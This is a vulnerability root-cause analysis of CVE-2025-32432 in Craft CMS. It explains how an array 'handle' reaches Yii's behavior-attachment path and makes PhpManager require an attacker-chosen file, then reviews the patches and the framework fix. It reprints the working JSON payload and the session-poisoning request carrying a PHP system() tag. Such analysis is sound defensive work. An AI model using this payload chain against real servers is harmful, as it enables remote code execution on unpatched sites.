The endpoint is anonymous on purpose
AssetsController::actionGenerateTransform is what Craft uses to materialize resized image variants when a public-facing template renders a gallery, an inline <img srcset>, or a Twig {% set img = entry.image.first().getUrl({ width: 800 }) %}. The controller's class-level declaration:
class AssetsController extends Controller
{
/** @inheritdoc */
protected array|bool|int $allowAnonymous = ['generate-thumb', 'generate-transform'];
allowAnonymous is Craft's way of saying "this action does not require an authenticated session." Front-end visitors hit the endpoint on every page that requests a transform variant. The "missing auth" framing for this CVE doesn't fit the design; the endpoint was supposed to be reachable without a session.
The handle parameter accepts an array
getTransformIndex($asset, $transform) declares its second parameter as AssetTransform|string|array|null. The string path looks the transform up by handle name. The array path is for callers that pass a transform definition inline rather than referencing one stored in the database. The pre-patch controller body, with the four lines of interest:
$assetId = $this->request->getRequiredBodyParam('assetId');
$handle = $this->request->getRequiredBodyParam('handle');
$assetModel = Craft::$app->getAssets()->getAssetById($assetId);
$transformIndexModel = $assetTransforms->getTransformIndex($assetModel, $handle);
getRequiredBodyParam returns whatever the request body sent for that field. JSON arrays come back as PHP arrays. The controller passes that value through to getTransformIndex, which calls $this->normalizeTransform($transform). Inside that:
public function normalizeTransform($transform)
{
// ...
if (is_array($transform)) {
if (array_key_exists('transform', $transform)) {
$baseTransform = $this->normalizeTransform(ArrayHelper::remove($transform, 'transform'));
return $this->extendTransform($baseTransform, $transform);
}
// ...width/height type-coerce...
return new AssetTransform($transform);
}
The array path was for internal Craft callers who build transform definitions in PHP and ask the service to materialize them. The endpoint exposes that path to network input. $transform is whatever the request body sent.
new AssetTransform($config) runs Yii::configure
AssetTransform extends Model extends Component extends yii\base\BaseObject. BaseObject::__construct is two lines:
public function __construct($config = [])
{
if (!empty($config)) {
Yii::configure($this, $config);
}
$this->init();
}
Yii::configure iterates the config and does $object->$key = $value for every entry. For an object that extends Component, that hits Component::__set, which the framework uses for three property-setter conventions: setter methods, event handlers (on <name>), and behaviors (as <name>). The 2.0.48.1 source of the as branch:
} elseif (strncmp($name, 'as ', 3) === 0) {
$name = trim(substr($name, 3));
if ($value instanceof Behavior) {
$this->attachBehavior($name, $value);
} else {
$this->attachBehavior($name, Yii::createObject($value));
}
A key starting with as becomes a behavior attachment. The behavior's class is whatever the value is. The PoC's handle payload:
{
"width": 1,
"height": 1,
"as hack": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "yii\\rbac\\PhpManager",
"__construct()": [{"itemFile": "/tmp/sess_<PHPSESSID>"}]
}
}
width and height set normal AssetTransform properties. as hack is Component::__set's behavior-attachment branch, so the value is passed to Yii::createObject.
__class is read first. class is unset before anyone looks at it.
Yii::createObject reads __class before class, and unsets class when __class is present:
if (isset($type['__class'])) {
$class = $type['__class'];
unset($type['__class'], $type['class']);
return static::$container->get($class, $params, $type);
}
if (isset($type['class'])) {
$class = $type['class'];
unset($type['class']);
return static::$container->get($class, $params, $type);
}
The exploit payload contains both keys. A reviewer reading as hack: { class: craft\behaviors\FieldLayoutBehavior, ... } sees a Craft-internal Behavior class and may rule the payload safe at the application level. Yii::createObject reads __class: yii\rbac\PhpManager and instantiates PhpManager with the supplied __construct() arguments. class is dropped before the framework's instantiation loop sees it.
__construct() is also a special key. yii\di\Container::build reads it as the positional constructor arguments:
if (isset($config['__construct()'])) {
$addDependencies = $config['__construct()'];
unset($config['__construct()']);
}
So __construct(): [{itemFile: "/tmp/sess_..."}] supplies one positional argument: the dictionary {itemFile: "/tmp/sess_..."}. PhpManager's constructor signature is __construct($config = []), inherited from BaseObject. The dictionary becomes the $config parameter. BaseObject::__construct calls Yii::configure($this, $config) and sets $this->itemFile to the attacker-supplied path. Then init() runs.
PhpManager::init runs require on a path the same array supplied
yii\rbac\PhpManager is Yii's PHP-file-backed role-based access control manager. The class designed for "load my role definitions from a PHP file on disk":
public function init()
{
parent::init();
$this->itemFile = Yii::getAlias($this->itemFile);
$this->assignmentFile = Yii::getAlias($this->assignmentFile);
$this->ruleFile = Yii::getAlias($this->ruleFile);
$this->load();
}
protected function load()
{
// ...
$items = $this->loadFromFile($this->itemFile);
// ...
}
protected function loadFromFile($file)
{
if (is_file($file)) {
return require $file;
}
return [];
}
init() runs at the end of BaseObject::__construct. By that point $this->itemFile has been set to whatever the attacker supplied. loadFromFile calls require on that path. PHP's require ignores everything outside <?php ?> tags, so any file containing an unescaped <?php system('...'); ?> block executes that block when required. The class designed to manage access control became the file-include primitive.
The PoC's session-file sink is one of many possible. PHP's default file-based session handler writes serialized $_SESSION data to /tmp/sess_<PHPSESSID>. The PoC's first request sends GET /index.php?p=admin/dashboard&a=<?php system('cmd'); ?>; Craft's request lifecycle stores the rejected URL in the session as part of return-URL state, the session handler serializes the string verbatim, and the embedded tag survives in the file. The second request triggers require of that path. Anything writable that an attacker can influence (uploaded files, log files with format strings, cached templates) works the same way once a file-include primitive exists.
The patch is three lines
The fix that shipped as Craft 3.9.15, 4.14.15, and 5.6.17 on April 10, 2025:
$assetId = $this->request->getRequiredBodyParam('assetId');
$handle = $this->request->getRequiredBodyParam('handle');
+if (!is_string($handle)) {
+ throw new BadRequestHttpException('Invalid transform handle.');
+}
$assetModel = Craft::$app->getAssets()->getAssetById($assetId);
The patch rejects non-string handle values for this one controller action. normalizeTransform still accepts arrays. Yii::configure still treats as keys as behavior attachments. Yii::createObject still reads __class first. Any other endpoint in Craft, in a Craft plugin, or in any other application running on Yii 2.0.48.1, that takes a body parameter and feeds it into a Component constructor still hits the same primitive.
Yii had patched the primitive nine months earlier
Yii's Component::__set is a design-debt driver in the catalog sense: the same primitive produced CVE-2024-4990 in the framework itself and CVE-2025-32432 in Craft nine months later. Yii 2.0.51 shipped on July 18, 2024. From the framework's own CHANGELOG:
- Bug: CVE-2024-4990, Fix Unsafe Reflection in base Component class (@mtangoo)
The fix added a guard to Component::__set's as branch that requires the resolved class to be a subclass of Behavior:
} elseif (strncmp($name, 'as ', 3) === 0) {
$name = trim(substr($name, 3));
if ($value instanceof Behavior) {
$this->attachBehavior($name, $value);
} elseif ($value instanceof \Closure) {
$this->attachBehavior($name, call_user_func($value));
} elseif (isset($value['__class']) && is_subclass_of($value['__class'], Behavior::class)) {
$this->attachBehavior($name, Yii::createObject($value));
} elseif (!isset($value['__class']) && isset($value['class']) && is_subclass_of($value['class'], Behavior::class)) {
$this->attachBehavior($name, Yii::createObject($value));
} elseif (is_string($value) && is_subclass_of($value, Behavior::class, true)) {
$this->attachBehavior($name, Yii::createObject($value));
}
yii\rbac\PhpManager extends BaseManager extends Component. It is not a subclass of Behavior. With this guard in place, the exploit's __class: yii\rbac\PhpManager does not reach Yii::createObject at all; the as branch refuses to attach it. Every other endpoint anywhere on Yii 2.0.51 that fed network input into a Component constructor was closed at the same time.
Craft's composer.json in 3.9.14 (the vulnerable release):
"yiisoft/yii2": "~2.0.48.1",
Craft's composer.json in 3.9.15 (the patched release):
"yiisoft/yii2": "~2.0.48.1",
~2.0.48.1 resolves to >=2.0.48.1, <2.0.49. Yii 2.0.51 was three minor releases ahead and had been on Packagist for nine months. The patched Craft did not pull in the patched framework.
Craft eventually upgraded the pin to ~2.0.54.0 in version 4.17.7 on February 24, 2026, and the day after that, in GHSA-5pgf-h923-m958, added an explicit $this->requirePermission('accessCp'); to actionGenerateTransform in the same line range as the original CVE-2025-32432 fix:
} else {
$this->requirePermission('accessCp');
$assetId = $this->request->getRequiredBodyParam('assetId');
$handle = $this->request->getRequiredBodyParam('handle');
if (!is_string($handle)) {
throw new BadRequestHttpException('Invalid transform handle.');
}
Both changes (framework bump and endpoint auth) landed roughly ten months after the CVE.
The convention was internal
as <name> is part of internal-only-by-convention. Yii defines the as prefix as the syntax authors use to attach behaviors during component configuration in PHP source:
$db = new Connection([
'dsn' => '...',
'as logger' => ['class' => RequestLogger::class, 'level' => 'debug'],
]);
That config block is meant to be authored by the application developer. The framework reads any key matching as as a behavior attachment because the convention is "the keys reaching Yii::configure came from PHP source code, not from user input." The convention is held by who calls Yii::configure. Once a controller passes a body parameter into a Component constructor without filtering, the convention is broken from the outside, and as hack is just as logger with a different label.
The shape repeats across the catalog. x-middleware-subrequest was a header Vercel's framework wrote to itself between internal fetch() calls; reading it from inbound network requests was never gated. __raw was a property name MikroORM branded its own raw-SQL fragments with; an in check on a request-body object answered the same way. The cPanel session file was a key=value bus written by SSO transfers and form-login handlers; the Basic auth handler's failure to escape \r\n made it a writer too. The Yii instance puts the convention at the constructor of every Component subclass in the framework, and Craft's AssetsController is one of an unknown number of places it can be reached from outside.
CISA added CVE-2025-32432 to the Known Exploited Vulnerabilities catalog shortly after disclosure and mass exploitation began the same week. The bug-class scanners that target the as <name> payload shape in Yii applications are still firing against unpatched 3.x and 4.x deployments.
PoC: TheMursalin/CVE-2025-32432
The patch closes one caller. The framework fix has been on Packagist since July.